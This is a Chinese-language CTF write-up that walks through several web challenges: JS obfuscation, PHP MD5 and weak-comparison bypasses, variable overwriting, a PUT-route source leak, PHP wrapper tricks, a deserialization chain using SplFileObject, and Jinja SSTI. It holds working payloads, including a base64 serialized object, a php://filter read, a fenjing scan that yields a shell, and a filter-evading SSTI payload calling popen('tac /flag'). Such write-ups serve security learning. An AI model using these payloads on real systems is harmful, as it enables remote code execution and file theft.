前言
因为忙着打校赛以及期中考的原因导致这场比赛就摸了个签到就润了(
yysy海报真好看,很戳xp(杀软二刺螈.jpg
WEB
hate eat snake
js代码混淆
题目是一个贪吃蛇游戏,右键检查查看js文件
发现使用了js代码混淆,难以直接找到flag
于是查找if语句,发现判断胜利的语句是getScore>60
搜索发现getScore
在Snake.prototype
中
于是在控制台中执行并启动游戏得到flag
受不了一点
php特性
MD5强比较
直接用数组绕过
传入cookie
php弱类型比较
分别传入114514和114514a
变量覆盖
foreach ($_POST as $key => $value) {
$$key = $value; //(注意这里value只有一个$,把post进去的数组键名作为变量,数组中的键值作为变量的值
}
foreach ($_GET as $key => $value) {
$$key = $$value; //(注意这里value有2个$
}
eg:
设置了一个变量$a=a,然后post传入a=b,那么就会把前面$a的值覆盖掉变成$a=b,
foreach ($_GET as $key => $value) {$$key = $$value; }
//(注意这里value有2个$同上,假如先设置了一个变量$a=a,然后get传入a=b,那么就会把前面$a的值覆盖掉变成$a=$b
因为$flag会被直接echo,所以要做的是不让$flag被覆盖
POST传入1=flag
则$1=flag
(此时创建了一个新参数1
)
GET传入1=flag
则$1=flag
,然后传入flag=1
则$flag=$$1=$flag
payload:
EZ WEB
src源码泄露
PUT请求
打开题目,f12查看网页源码发现提示/src泄露
访问/src得到python源码
import flask
app = flask.Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return flask.send_file('index.html')
@app.route('/src', methods=['GET'])
def source():
return flask.send_file('app.py')
@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
return open('flag').read()
很明显是要求我们用PUT
请求访问其路由,于是启动burpsuite
修改为PUT请求发送得到flag
泄露的伪装
源码泄露
伪协议
常规解
打开题目,没有发现任何提示
于是这里选择直接dirsearch扫描
发现存在文件泄露
访问/test.txt发现php源码
<?php
error_reporting(0);
if(isset($_GET['cxk'])){
$cxk=$_GET['cxk'];
if(file_get_contents($cxk)=="ctrl"){
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "nononoononoonono";
}
?>
访问/www.rar得到压缩包
解压后发现一个txt文件
访问/orzorz.php,发现就是上面的php页面
由于第二个if语句中要求读取的文件内要有ctrl才能返回flag,所以这里需要考虑使用php://input
或data://
协议传入带有’ctrl’的字符串
其他解
在靶机出网的情况下
?cxk=http://你的公网IP/1.txt
1.txt里面的内容为ctrl
反方向的钟
反序列化
SplFileObject原生类
打开题目看到php源码发现是反序列化
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){ //此处会直接赋值$salary=10000
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}
class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}
class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}
if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>
先找最终可利用的代码,发现IPO()
中的echo new $_POST['a']($_POST['b']);
可以利用SplFileObject原生类执行文件读取
要执行IPO()
就要先执行hahaha()
而hahaha()
中对classroom
类中的name
属性和leader
属性指向的name
属性与rank
属性有要求,也就说明$leader=new teacher()
那么链子就很清楚了,记得对序列化的结果进行base64编码
<?php
class teacher
{
public $name = 'ing';
public $rank = 'department';
private $salary;
}
class classroom
{
public $name = 'one class';
public $leader;
}
class school
{
public $department;
public $headmaster = 'ong';
}
$a = new school();
$a->department = new classroom();
$a->department->leader = new teacher();
echo base64_encode(serialize($a));
//Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9
然后就是POST请求利用原生类读取文件获得flag(base64编码)
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php
<ez_ze>
SSTI
一把梭
使用python的fenjing库
pip install fenjing
直接在命令行开梭获取shell
python -m fenjing scan --url http://node3.anna.nssctf.cn:28674
找到flag位置在根目录下,直接cat即可
预期解
进去之后看到页面猜测是SSTI,直接{{7*7}}
尝试
发现被过滤
改成{%print(7*7)%}
进行尝试
成功回显,则知道是过滤了{}
同时发现执行的文件与POST请求的参数
经过测试发现_
,[]
,.
,""
都被过滤掉了
那就查看可利用的字符尝试拼接变量
但是只有这些好像行不通。。。只能自己定义来实现拼接了
首先我们知道最终的payload应该为
{%print(().__class__.__bases__.__subclasses__().__getitem__[132].__init__.__globals__.__getitem__(popen)('ls').read())}
然后根据题目过滤的字符进行对应的替换与拼接
{% set po=dict(po=a,p=b)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%}{% set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}{% set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%}{% set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%}{% set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%}{% set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%}{% set pp=dict(pop=a,en=b)|join %}{%print(()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)(132)|attr(ini)|attr(glo)|attr(geti)(pp)('tac /flag')|attr('read')() )%}
emmm…感觉这种题只能多积累payload了